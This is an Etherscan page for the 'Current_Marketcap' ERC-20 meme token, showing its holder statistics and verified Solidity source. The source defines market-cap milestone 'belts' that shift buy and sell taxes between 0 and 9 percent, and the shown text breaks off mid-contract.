ETH Price: $2,374.35 (-1.40%)

Token

💸Current_Marketcap ➡ 0$ (💸CM ➡ 0$)
 

Overview

Max Total Supply

100,000,000 💸CM ➡ 0$

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,820,000 💸CM ➡ 0$

Value
$0.00
0x7d69f998ac921b0d9ebb02ec0b81147b5e1f89e4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CURRENTMARKETCAP

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

// Telegram:  https://t.me/currentmc_portal

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.20;

// import "@openzeppelin/contracts/utils/Strings.sol";
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
 /**
 * @dev String operations.
 */
 library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}
 library Math {
    /**
     * @dev Muldiv operation overflow.
     */
    error MathOverflowedMulDiv();

    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert MathOverflowedMulDiv();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
        }
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}
library Strings {
    bytes16 private constant HEX_DIGITS = "0123456789abcdef";
    uint8 private constant ADDRESS_LENGTH = 20;

    /**
     * @dev The `value` string doesn't fit in the specified `length`.
     */
    error StringsInsufficientHexLength(uint256 value, uint256 length);

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toStringSigned(int256 value) internal pure returns (string memory) {
        return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value)));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        uint256 localValue = value;
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = HEX_DIGITS[localValue & 0xf];
            localValue >>= 4;
        }
        if (localValue != 0) {
            revert StringsInsufficientHexLength(value, length);
        }
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal
     * representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface AggregatorV3Interface {
  function decimals() external view returns (uint8);

  function description() external view returns (string memory);

  function version() external view returns (uint256);

  function getRoundData(
    uint80 _roundId
  ) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);

  function latestRoundData()
    external
    view
    returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}

contract CURRENTMARKETCAP is Context, IERC20, Ownable {

    mapping(uint256 => string) internal belts;

    mapping(uint256 => uint256) internal milestones;

    mapping(uint256 => uint256) internal buyTaxGlobal;
    mapping(uint256 => uint256) internal sellTaxGlobal;

    mapping(address => uint256) internal userBelt;
    mapping(address => bool) internal hasBelt;

    string private moneyUnicode = unicode"💸";
    string private arrowUnicode = unicode" ➡ ";
    string private _name = unicode"💸Current_Marketcap ➡ 0$";
    string private _symbol = unicode"💸CM ➡ 0$";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 public constant maxBuyTax = 9;
    uint256 public constant maxSellTax = 9;
    uint256 private _taxFee = 9;

    address payable private _developerFund = payable(msg.sender);
    address payable private _marketingFund = payable(msg.sender);

    IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    IERC20 public constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address public immutable CMARKETCAP;
    address public uniswapV2Pair;

    AggregatorV3Interface public constant priceFeedETHUSD = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
    

    bool private tradingOpen;
    bool private inTaxSwap;
    bool private inContractSwap;

    uint256 public maxSwap = 2000000 * 10**9;
    uint256 public maxWallet = 2000000 * 10**9;
    uint256 private constant _triggerSwap = 10**9;

    modifier lockTheSwap {
        inTaxSwap = true;
        _;
        inTaxSwap = false;
    }

    constructor() {
        CMARKETCAP = address(this);
        uniswapV2Pair = uniswapV2Factory.createPair(CMARKETCAP, WETH);

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[CMARKETCAP] = true;
        _isExcludedFromFee[_developerFund] = true;
        _isExcludedFromFee[_marketingFund] = true;
        _approve(CMARKETCAP, address(uniswapV2Router), MAX);
        _approve(owner(), address(uniswapV2Router), MAX);

        milestones[0] = 0;
        buyTaxGlobal[0] = 9;
        sellTaxGlobal[0] = 0;

        milestones[1] = 10000;
        buyTaxGlobal[1] = 8;
        sellTaxGlobal[1] = 1;

        milestones[2] = 20000;
        buyTaxGlobal[2] = 7;
        sellTaxGlobal[2] = 2;

        milestones[3] = 30000;
        buyTaxGlobal[3] = 6;
        sellTaxGlobal[3] = 3;

        milestones[4] = 40000;
        buyTaxGlobal[4] = 5;
        sellTaxGlobal[4] = 4;

        milestones[5] = 100000;
        buyTaxGlobal[5] = 4;
        sellTaxGlobal[5] = 5;

        milestones[6] = 500000;
        buyTaxGlobal[6] = 3;
        sellTaxGlobal[6] = 6;

        milestones[7] = 1000000;
        buyTaxGlobal[7] = 2;
        sellTaxGlobal[7] = 7;

        milestones[8] = 2500000;
        buyTaxGlobal[8] = 1;
        sellTaxGlobal[8] = 8;

        milestones[9] = 5000000;
        buyTaxGlobal[9] = 0;
        sellTaxGlobal[9] = 9;

        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    receive() external payable {}

    function getETHUSDPrice() public view returns (uint256) {
        (
            ,
            int256 answer,
            ,
            ,
        ) = priceFeedETHUSD.latestRoundData();
        return uint256(answer / 1e8);
    }

    function getMarketCap() public view returns (uint256) {
        uint256 poolValue = (weth.balanceOf(uniswapV2Pair) * getETHUSDPrice()) / 1e18;
        uint256 poolPct = totalSupply() / balanceOf(uniswapV2Pair);
        return (poolValue * poolPct) * 2;
    }

    function getETHUSDPriceFeed() external view returns (address) {
        return address(priceFeedETHUSD);
    }

    function getCurrentBelt() public view returns (uint256) {
        uint256 marketCap = getMarketCap();
        uint256 currentBelt;
        for (uint256 i = 9; i >= 0; i--) {
            if (marketCap >= milestones[i]) {
                currentBelt = i;
                break;
            }
        }
        return currentBelt;
    }

    function getNextBelt() public view returns (uint256) {
        uint256 currentBelt = getCurrentBelt();
        return currentBelt == 9 ? 9 : currentBelt + 1;
    }

    function getGlobalMaxBuyTax() external view returns (uint256) {
        return maxBuyTax;
    }

    function getGlobalMaxSellTax() external view returns (uint256) {
        return maxSellTax;
    }

    function getGlobalBuyTax() public view returns (uint256) {
        uint256 globalBuyTax = 9 - getCurrentBelt();
        return globalBuyTax > maxBuyTax ? maxBuyTax : globalBuyTax;
    }

    function getGlobalSellTax() public view returns (uint256) {
        uint256 globalSellTax = getCurrentBelt();
        return globalSellTax > maxSellTax ? maxSellTax : globalSellTax;
    }

    function getWalletHasBelt(address _wallet) external view returns (bool) {
        return hasBelt[_wallet];
    }

    function getWalletBelt(address _wallet) public view returns (uint256) {
        return hasBelt[_wallet] ? userBelt[_wallet] : getCurrentBelt();
    }


    function getWalletSellTax(address _wallet) public view returns (uint256) {
        uint256 globalSellTax = getGlobalSellTax();
        if (hasBelt[_wallet]) {
            uint256 userBelt = userBelt[_wallet];
            return globalSellTax > userBelt ? userBelt : globalSellTax;
        }
        return globalSellTax;
    }

    function getWalletMaxSellTax(address _wallet) external view returns (uint256) {
        return hasBelt[_wallet] ? userBelt[_wallet] : maxSellTax;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _removeTax() private {
        if (_taxFee == 0) {
            return;
        }

        _taxFee = 0;
    }

    function _restoreTax() private {
        _taxFee = 9;
    }

    function _approve(address owner, address spender, uint256 amount) private {
